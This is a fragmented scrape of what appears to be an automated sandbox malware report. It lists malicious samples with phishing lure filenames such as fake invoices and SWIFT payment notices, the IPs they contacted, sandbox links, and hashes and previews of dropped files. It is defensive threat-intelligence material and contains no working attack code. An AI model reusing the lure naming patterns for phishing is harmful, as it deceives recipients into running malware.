seeds.exe Get hash malicious Browse 188.93.227.195

Product LIsts.exe Get hash malicious Browse 188.93.227.195

FACTURA Y ALBARANES_pdf.exe Get hash malicious Browse 188.93.227.195

Scan.exe Get hash malicious Browse 188.93.227.195

Ticari Hesap #U00d6zetiniz.exe Get hash malicious Browse 188.93.227.195

Struggleres5.exe Get hash malicious Browse 188.93.227.195

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN
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https://view.joesandbox.com/analysis/393865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393865/html/none?idtype=webid
https://view.joesandbox.com/analysis/393261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393261/html/none?idtype=webid
https://view.joesandbox.com/analysis/393206/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393206/html/none?idtype=webid
https://view.joesandbox.com/analysis/393150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393150/html/none?idtype=webid
https://view.joesandbox.com/analysis/390781/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390781/html/none?idtype=webid
https://view.joesandbox.com/analysis/390750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390750/html/none?idtype=webid
https://view.joesandbox.com/analysis/390688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390688/html/none?idtype=webid
https://view.joesandbox.com/analysis/390503/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390503/html/none?idtype=webid
https://view.joesandbox.com/analysis/388961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388961/html/none?idtype=webid
https://view.joesandbox.com/analysis/388847/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388847/html/none?idtype=webid
https://view.joesandbox.com/analysis/388315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388315/html/none?idtype=webid
https://view.joesandbox.com/analysis/388216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388216/html/none?idtype=webid
https://view.joesandbox.com/analysis/388023/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388023/html/none?idtype=webid
https://view.joesandbox.com/analysis/386649/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386649/html/none?idtype=webid
https://view.joesandbox.com/analysis/386570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386570/html/none?idtype=webid
https://view.joesandbox.com/analysis/386548/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386548/html/none?idtype=webid
https://view.joesandbox.com/analysis/386529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386529/html/none?idtype=webid
https://view.joesandbox.com/analysis/385854/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385854/html/none?idtype=webid
https://view.joesandbox.com/analysis/384422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384422/html/none?idtype=webid
https://view.joesandbox.com/analysis/384310/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384310/html/none?idtype=webid
https://view.joesandbox.com/analysis/393865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393865/html/none?idtype=webid
https://view.joesandbox.com/analysis/393389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393389/html/none?idtype=webid
https://view.joesandbox.com/analysis/393337/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393337/html/none?idtype=webid
https://view.joesandbox.com/analysis/393261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393261/html/none?idtype=webid
https://view.joesandbox.com/analysis/393206/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393206/html/none?idtype=webid
https://view.joesandbox.com/analysis/393150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393150/html/none?idtype=webid
https://view.joesandbox.com/analysis/393109/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393109/html/none?idtype=webid
https://view.joesandbox.com/analysis/391142/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391142/html/none?idtype=webid
https://view.joesandbox.com/analysis/390781/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390781/html/none?idtype=webid
https://view.joesandbox.com/analysis/390750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390750/html/none?idtype=webid
https://view.joesandbox.com/analysis/390688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390688/html/none?idtype=webid
https://view.joesandbox.com/analysis/390503/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390503/html/none?idtype=webid
https://view.joesandbox.com/analysis/389647/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389647/html/none?idtype=webid
https://view.joesandbox.com/analysis/388961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388961/html/none?idtype=webid
https://view.joesandbox.com/analysis/388847/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388847/html/none?idtype=webid
https://view.joesandbox.com/analysis/388315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388315/html/none?idtype=webid
https://view.joesandbox.com/analysis/388216/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388216/html/none?idtype=webid
https://view.joesandbox.com/analysis/388023/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388023/html/none?idtype=webid
https://view.joesandbox.com/analysis/386649/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386649/html/none?idtype=webid


BBVA-Confirming Remesas Aceptadas.exe Get hash malicious Browse 188.93.227.195

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

37f463bf4616ecd445d4a1937da06e19 vk5MXd2Rxm.msi Get hash malicious Browse 172.217.168.46
142.250.18
5.161

COPIA DE PAGO.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

INV.ppt Get hash malicious Browse 172.217.168.46
142.250.18
5.161

jtht8EV6uw.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

RFQ_Project 20211012 thyssenkrupp Industrial Solutions AG 
6000358077_PDF.exe

Get hash malicious Browse 172.217.168.46
142.250.18
5.161

shipping docs.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

20znh7W3Y1.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

Foreign_Bank Account Details.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

In#U1d20oice-yceeBSo.vbs Get hash malicious Browse 172.217.168.46
142.250.18
5.161

SOA.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

184285013-044310-sanlccjavap0003-7069_pdf (5).exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

SecuriteInfo.com.Variant.Razy.961905.21681.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

Statement of Account of Sep 2021.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

Swift USD 9300.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

SecuriteInfo.com.Trojan.GenericKDZ.78846.22148.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

SecuriteInfo.com.Trojan.GenericKDZ.78846.12476.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

SecuriteInfo.com.Trojan.GenericKDZ.78846.22148.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

SecuriteInfo.com.Trojan.GenericKDZ.78846.12476.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

SecuriteInfo.com.W32.AIDetect.malware1.12761.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

SecuriteInfo.com.W32.AIDetect.malware1.12761.exe Get hash malicious Browse 172.217.168.46
142.250.18
5.161

Match Associated Sample Name / URL SHA 256 Detection Link Context

C:\Windows\ServiceProfiles\NetworkServ
ice\AppData\Local\Temp\5F092BAC-
4701-4818-8EB0-
1B8D5E2340F4\MpSigStub.exe

Foreign_Bank Account Details.exe Get hash malicious Browse

Arrival_Notice-AutonotificationimportsEUR-sealandm
aersk.com_october2021.vbs

Get hash malicious Browse

1gPmnCR2PX.exe Get hash malicious Browse

FACTURA.exe Get hash malicious Browse

l8w9YB1n38.exe Get hash malicious Browse

JA3 Fingerprints

Dropped Files
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https://view.joesandbox.com/analysis/386570/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386570/html/none?idtype=webid
https://view.joesandbox.com/analysis/393873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393873/html/none?idtype=webid
https://view.joesandbox.com/analysis/393865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393865/html/none?idtype=webid
https://view.joesandbox.com/analysis/393813/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393813/html/none?idtype=webid
https://view.joesandbox.com/analysis/393787/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393787/html/none?idtype=webid
https://view.joesandbox.com/analysis/393744/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393744/html/none?idtype=webid
https://view.joesandbox.com/analysis/393679/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393679/html/none?idtype=webid
https://view.joesandbox.com/analysis/393660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393660/html/none?idtype=webid
https://view.joesandbox.com/analysis/393586/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393586/html/none?idtype=webid
https://view.joesandbox.com/analysis/393562/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393562/html/none?idtype=webid
https://view.joesandbox.com/analysis/393541/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393541/html/none?idtype=webid
https://view.joesandbox.com/analysis/393531/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393531/html/none?idtype=webid
https://view.joesandbox.com/analysis/393519/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393519/html/none?idtype=webid
https://view.joesandbox.com/analysis/393511/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393511/html/none?idtype=webid
https://view.joesandbox.com/analysis/393503/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393503/html/none?idtype=webid
https://view.joesandbox.com/analysis/393492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393492/html/none?idtype=webid
https://view.joesandbox.com/analysis/393491/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393491/html/none?idtype=webid
https://view.joesandbox.com/analysis/393485/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393485/html/none?idtype=webid
https://view.joesandbox.com/analysis/393484/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393484/html/none?idtype=webid
https://view.joesandbox.com/analysis/393461/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393461/html/none?idtype=webid
https://view.joesandbox.com/analysis/393451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393451/html/none?idtype=webid
https://view.joesandbox.com/analysis/393586/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393586/html/none?idtype=webid
https://view.joesandbox.com/analysis/393406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393406/html/none?idtype=webid
https://view.joesandbox.com/analysis/393356/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393356/html/none?idtype=webid
https://view.joesandbox.com/analysis/392505/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392505/html/none?idtype=webid
https://view.joesandbox.com/analysis/391857/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391857/html/none?idtype=webid


Monex Payment Declined CTE21081157582 EUR 81300.00
_PDF.exe

Get hash malicious Browse

Udtrt.exe Get hash malicious Browse

MT103_SWIFT.exe Get hash malicious Browse

MT103_SWIFT.exe Get hash malicious Browse

EVOLUTION TRADE Sp. z o.o. OFERTA 09212.exe Get hash malicious Browse

tZz20galQf.exe Get hash malicious Browse

Guloader.exe Get hash malicious Browse

8hIPR0n66X.dll Get hash malicious Browse

Struggleres5.exe Get hash malicious Browse

FACTURA.exe Get hash malicious Browse

LISTA DE PEDIDO DE COMPRA.exe Get hash malicious Browse

Unreal.exe Get hash malicious Browse

Match Associated Sample Name / URL SHA 256 Detection Link Context

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: data

Category: dropped

Size (bytes): 1391

Entropy (8bit): 7.705940075877404

Encrypted: false

SSDEEP: 24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1

MD5: 0CD2F9E0DA1773E9ED864DA5E370E74E

SHA1: CABD2A79A1076A31F21D253635CB039D4329A5E8

SHA-256: 96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6

SHA-512: 3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910

Malicious: false

Preview:
0..k0..S............@.YDc.c...0...*.H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U...
.US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0...*.H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p.
.)"......K...~....G.|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I.....*.A..v........5/(.l....dwn
G7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.|C.t..t.....0.[q6....00\H..;..}`...).........A.......|.;F.H*..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0
@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: Microsoft Cabinet archive data, 61157 bytes, 1 file

Category: dropped

Size (bytes): 61157

Entropy (8bit): 7.995991509218449

Encrypted: true

SSDEEP: 1536:ppUkcaDREfLNPj1tHqn+ZQgYXAMxCbG0Ra0HMSAKMgAAaE1k:7UXaDR0NPj1Vi++xQFa07sTgAQ1k

MD5: AB5C36D10261C173C5896F3478CDC6B7

SHA1: 87AC53810AD125663519E944BC87DED3979CBEE4

SHA-256: F8E90FB0557FE49D7702CFB506312AC0B24C97802F9C782696DB6D47F434E8E9

SHA-512: E83E4EAE44E7A9CBCD267DBFC25A7F4F68B50591E3BBE267324B1F813C9220D565B284994DED5F7D2D371D50E1EBFA647176EC8DE9716F754C6B5785C6E897F
A

Malicious: false

Preview:
MSCF............,...................I........t........*S{I .authroot.stl..p.(.5..CK..8U....u.}M7{v!.\D.u.....F.eWI.!e..B2QIR..$4.%.3eK$J. ......9w4...=.9..}...~....$..h..ye.A..;....|. O6.a0xN....9..C.
.t.z.,..d`.c...(5.....<..1.|..2.1.0.g.4yw..eW.#.x....+.oF....8.t...Y....q.M.....HB.^y^a...)..GaV"|..+.'..f..V.y.b.V.PV......`..9+..\0.g...!.s..a....Q...........~@$.....8..(g..tj....=,V)v.s.d.].xqX4...
..s....K..6.tH.....p~.2..!..<./X......r.. ?(.\[. H...#?.H.".. p.V.}.`L...P0.y....|...A..(...&..3.ag...c..7.T=....ip.Ta..F.....'..BsV...0.....f....Lh.f..6....u.....Mqm.,...@.WZ.={,;.J...)...{_Ao....T..
....xJmH.#..>.f..RQT.Ul(..AV..|.!k0...|\......U2U..........,9..+.\R..(.[.'M........0.o..,.t.#..>y.!....!X<o.....w...'......a.'..og+>..|.s.g.Wr.2K.=...5.YO.E.V.....`.O..[.d.....c..g....A..=....k..u2..Y
.}.......C...\=...&...U.e...?...z.'..$..fj.'|.c....4y.".T.....X....@xpQ.,.q.."...t.... $.F..O.A.o_}d.3...z...F?..-...Fy...W#...1......T.3....x.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: data

Category: dropped

Size (bytes): 192

Entropy (8bit): 2.773803200765873

Encrypted: false

SSDEEP: 3:kkFklhykfllXlE/zMcSllh/tNNX8RolJuRdyo1dlUKlGXJlDdt:kKz1I7NMa8Rdy+UKcXP

Created / dropped Files
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https://view.joesandbox.com/analysis/391643/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391643/html/none?idtype=webid
https://view.joesandbox.com/analysis/388309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388309/html/none?idtype=webid
https://view.joesandbox.com/analysis/388218/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388218/html/none?idtype=webid
https://view.joesandbox.com/analysis/388207/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388207/html/none?idtype=webid
https://view.joesandbox.com/analysis/387496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387496/html/none?idtype=webid
https://view.joesandbox.com/analysis/387360/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387360/html/none?idtype=webid
https://view.joesandbox.com/analysis/386888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386888/html/none?idtype=webid
https://view.joesandbox.com/analysis/386876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386876/html/none?idtype=webid
https://view.joesandbox.com/analysis/386649/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386649/html/none?idtype=webid
https://view.joesandbox.com/analysis/386548/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386548/html/none?idtype=webid
https://view.joesandbox.com/analysis/386069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386069/html/none?idtype=webid
https://view.joesandbox.com/analysis/385950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385950/html/none?idtype=webid


MD5: F80B71C89A3E6AC19F330E1FFF75B8DC

SHA1: 0DED612CA4F8FE979B01215DD5541401D34799C8

SHA-256: 4658A75A82042D0BCEB4DA7BF48C4AF32E39EFD1412F9C7C375E174BB24DB89A

SHA-512: 2F9F0A0689F207CA29C72FC8F61219A1F812AC9947133BC4238C68F66A698DDE812EE70318119126E219FC9AA61B799712D10F81047A0B860FEC3351AAE67BEB

Malicious: false

Preview:
p...... ...............(....................................................... ..........~...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".5.a.6.2.8.1.5.c.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: data

Category: modified

Size (bytes): 326

Entropy (8bit): 3.102288469951472

Encrypted: false

SSDEEP: 6:kKwdFN+SkQlPlEGYRMY9z+4KlDA3RUeOlEfcTt:62kPlE99SNxAhUefit

MD5: F4A7236428EC4897A7C3CEE487D5FD13

SHA1: 043C09FA870F934398CD70A2BA5206C03BCBE187

SHA-256: 275BC2A37B4A17304489B33445FA52A722BFCADF09AE419D8B9329CCA541B6EF

SHA-512: 4AECACE983B7AA6E9BC1992035E74C0315293743BCBE1236D77D286826A07A031BA40AD2362345B39B33FBD52CADA4ED64CE680BEA94523617F0DBEBCA738D
6C

Malicious: false

Preview:
p...... ................(....................................................... ...........^.......$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.
c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.a.a.8.a.1.5.e.a.6.d.7.1.:.0."...

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\1.1.18500.10_to_1.1.18600.4_mpengine.dll._
p

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-51041e98.exe

File Type: data

Category: dropped

Size (bytes): 2651471

Entropy (8bit): 7.999536893169429

Encrypted: true

SSDEEP: 49152:PATHbjm/iIcfAPkDFdv14M/XGgXqzwoDXK0wo2Ufj8BYuMmLNaCvruHEmWE:PgbHIvq/vlPGgap60PJ8TJaGrMOE

MD5: 15BC5469BEBD01AD2E2A53F66D88D920

SHA1: 123EA8DFF16F084DC27352CE1A10D723F9833874

SHA-256: 623CA36626BACABBDD43740F875A2FE04DD3D5881CBB978FA53848202AB4F9B7

SHA-512: 46DBA1D21EF2D1891D16C08A4BF0051E14B951BE04355EC2F20F5E9CF1AB707BCD2577B63955C586E53B86F3B6B53B6AB2409E0DE47795359186FA2362C3A2F0

Malicious: false

Preview:
PA19.....%ea(|f..b...h ..cI....(j!.n.|...w.p...!..D..=.......""H..;%.P.#.Q.....Tm.Rth.(Za.%...Z.;...."....................}...5/2-....{0Il....{..no...~o^w...................q....{...o...._.}qwz..l.;...&.z...{..n.
[.n......[oN......6.MG.@n.O...$..m.K.a.....H..........(..!.P......_./@ $.1....Y.......6.....;Y..\.u...`W.G .d.e....XG+)$A.r$......H..<....Jf. )..L 0r.mc..n(.K.e @n8.-.A.2Gw..,...lld.32..bs
.6....Q.....cj..4.o....L.<21....&r@AInLb...%.......9..tp.$'Q..r.S..o.9...e].....hr.W...,CAo/I......~....z.H........o.$.}...........................f..f.........;.9.w.9...3..r.2.6.2*w.....]..T%..I..W.T
R.2.47.Q!...,...ie..$......,M.....Ah..2....P.. ......'y..S}.A.M.....2..U.u.}.A.Q..Km.q.\,..eUQ..0.[G.......]A.y:.-....p..5.c..^._.=a.I^s7..~.......S..\...;.$,8.e]9.].r9=a.:..~3 '...&.x.{.)....L.G5.9.0
...Bk....2...5.#]...^iM.z@f.....f.n.....Z.{.[%-.}.S]W]..b..$...g}...nM..e....L.V..D+[......?.~=.....6+..S..R...*...J..O.r.....rC....Vo..+.J>....

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\1.349.0.0_to_1.351.0.0_mpasbase.vdm._p

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-51041e98.exe

File Type: data

Category: dropped

Size (bytes): 6947288

Entropy (8bit): 7.998652520745969

Encrypted: true

SSDEEP: 196608:Z6h8S1WVWjjc7Wf7zlW0qg2eUCJj6oZT32FBN6DIz:M+S1q7S7BWvMzJxBYHz

MD5: 46F037977005B7E9F8711C1CE7245C6B

SHA1: B04BB6DE0F9F5A2B12C52124AD514D324EF3B616

SHA-256: 3D38C95836DB5540D4354BDA13A83091BF144A907A831604898D9F864126A4D0

SHA-512: 8D84FDCE9A81422A10AA1CC6B450EEA1E593F16DBF57D00A313C3AA9B03BB41F6A94FF8D4739C1ED79B3ED6F1CBF203F455BCCE6654C103BB5294599E47CDC
16

Malicious: false

Preview:
MPSP..j.....8..x..]u\.O._:D$$.E0.AEQQLJ......T..y..n.DA.1PT.n1...nL...;..{.{..q............&..|."S....J....W..TR..)W..[5J..!..&...e...=...Y.$mdz..R.V.".FQ.....iI.ljk.....!J.Sem...Q>.....+T.6
..y..\W.u...*P../..=.2Mox...~..k.n...*........V....O3U....wS%6.*...D.2)NC..q!..2.-J..h=~i.p...DF4.&#.x......54.z.*|.(W..Li..`2.R?.^W2.2.kfB.$d..3..(>..iJ...9.$..J..H.dB..*.LcmU.:..
U.....Ua...H.FS..yE...E;..`..P#..M.!.j..6....M..Z.......C...@.<..Kj..T.......mU...2.D.C.....PG.&.)9.M..AU.......LM;fm={..n....!J.SW74.......jS.h-..J9....I.%'.c.....t.*.(.....aQ..X..L.;.....k
.i..>N.!.i..y.X.2..g...j.,=.>..7m..A....9@........5.J......Kw..0W..r2.)...h...(i>.&>A0...`D.c...).3.mL......;.&..6......)...E....)J..?K..%..;..D]..(S.yx.g.B]....D........5..5...L.+Y.N..R3..z.s.....5H.
.Y.....$../o.$....(.fx-/.";.no.M...vn...l..p.f.*.......X.;W..90..A...kH6^C.u..l...6.....:.P......|.F.k.(..t.....3s..iT...;%.e.D..'m.e.r..YP......^1,...........2O..,`........IQ<K.
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C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\1.349.0.0_to_1.351.0.0_mpavbase.vdm._p

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-51041e98.exe

File Type: data

Category: dropped

Size (bytes): 5295896

Entropy (8bit): 7.997749364950445

Encrypted: true

SSDEEP: 98304:+3t2My1jJFqD1nlxmI5zN8KGixmH8l2snrho+qico1hSWmnSEOR69MaKJD:+92M8DqTx/dN81iUHooKcofHDZEMaKJD

MD5: F2E9F2343E044B331ECAF82302F5EC4B

SHA1: 049E866B3C7385DD7B00BBEC39453C30B8D29C28

SHA-256: 77AF289327742CC4F520092AA6429A5B829E24F40653DF71D00E31EFF9F3737F

SHA-512: 080509E98915BE390AE6A1ABA880248E98DE10D77AF107FB266DC34CECD43EED9CE77F53C6568C20FA1222DBA1D3FDB79E820656C0B28E1316DA93500C580A7
9

Malicious: false

Preview:
MPSP..P..Au.[.Aex.l..xTW.6.I ......'..C\p.Dq.....<..!..Cp.BK..H.B..w.s2....}.{]o.s.......j.)m.e._....N.L.,...:......!..g.UN.sH.t../...|6F.F.C.f....d..N./.2^.b*c..)..6...F![...BJ&.g\....%....
f5.r.:...L..$..L6&.,.v=.Me..F...lF.Ou;.C....R..3.).....G...,..../..f.7U..o.2....VA..OV.7r.|.......M?......eS$K...w.ic......y^S..&S.e.J..3..`2.y..4...iT.3..+mL(W'....L...&..&..1MI_J..|...f..e
Z..dZ{&.i.n...e.s.X..).i..th...._M...f..mLgc...3..n.C....25.5=X]..8}.k.!YR..8{>...u...`H.c'.w.K.sxN........z.0.......MN..m.lk........&4..zY....?..O..@f..j.@...i ..}..jH..tf5ekb.........^...T
.4...m.c[.ZY....YZ.l.T..u.....g1..~.eV. F....d.o....M<.5L7..AOl.+......D`l...hO.'..X..;.x...=q....zS..c".J.....1D.s...(1T..`zc...q...Q.74..I.ug.(.0..g.D;1..Ty..3.....t.}......a...`.D..I.`"1.
.L7.`....A.p.............g..M..........J.../.6..._..-e.i.h.z.J...ALw..[...3d...iLo.)..$.?Nk..,a...V*.++..v.-I.T~..M..'1}qj.,.....O.......X..3_.p...|z6.pm.........+.).,....^.j.h...d4..D..[,.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\MpSigStub.exe

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-51041e98.exe

File Type: PE32+ executable (GUI) x86-64, for MS Windows

Category: dropped

Size (bytes): 803176

Entropy (8bit): 6.37118649960636

Encrypted: false

SSDEEP: 24576:Ghj1QlBYDgtUUvie3n+pB3+ojRlcD1VyZTFXk:GhpQlBHtBYla1VyZpU

MD5: 01F92DC7A766FF783AE7AF40FD0334FB

SHA1: 45D7B8E98E22F939ED0083FE31204CAA9A72FA76

SHA-256: FA42B9B84754E2E8368E8929FA045BE86DBD72678176EE75814D2A16D23E5C26

SHA-512: BEA5F3D7FB0984C4A71720F25644CE3151FCDC95586E1E2FFE804D04567AAF30D8678608110E241C7DDF908F94882EDDD84A994573B0C808D1C064F0E135A583

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Joe Sandbox 
View:

Filename: Foreign_Bank Account Details.exe, Detection: malicious, Browse
Filename: Arrival_Notice-AutonotificationimportsEUR-sealandmaersk.com_october2021.vbs, Detection: malicious, Browse
Filename: 1gPmnCR2PX.exe, Detection: malicious, Browse
Filename: FACTURA.exe, Detection: malicious, Browse
Filename: l8w9YB1n38.exe, Detection: malicious, Browse
Filename: Monex Payment Declined CTE21081157582 EUR 81300.00_PDF.exe, Detection: malicious, Browse
Filename: Udtrt.exe, Detection: malicious, Browse
Filename: MT103_SWIFT.exe, Detection: malicious, Browse
Filename: MT103_SWIFT.exe, Detection: malicious, Browse
Filename: EVOLUTION TRADE Sp. z o.o. OFERTA 09212.exe, Detection: malicious, Browse
Filename: tZz20galQf.exe, Detection: malicious, Browse
Filename: Guloader.exe, Detection: malicious, Browse
Filename: 8hIPR0n66X.dll, Detection: malicious, Browse
Filename: Struggleres5.exe, Detection: malicious, Browse
Filename: FACTURA.exe, Detection: malicious, Browse
Filename: LISTA DE PEDIDO DE COMPRA.exe, Detection: malicious, Browse
Filename: Unreal.exe, Detection: malicious, Browse

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..#...#...#..EV...#...Q...#...Q...#...Q...#...Q...#...#..."..EV..#..EV
N..#..EV...#..Rich.#..........PE..d.....P.........."......`....................@.............................0.......-....`.......... .......................................t..d....... ........D... ..h!... ......d...p.......................
(......8...........0................................text...2R.......`.................. ..`.rdata.......p... ...p..............@..@.data..../....... ..................@....pdata...D.......P..................@..@.rsrc... ..........
.................@..@.reloc....... ......................@..B.......................................................................................................................................................................................................
.................................................................

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\mpasbase.vdm

Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\MpSigStub.exe

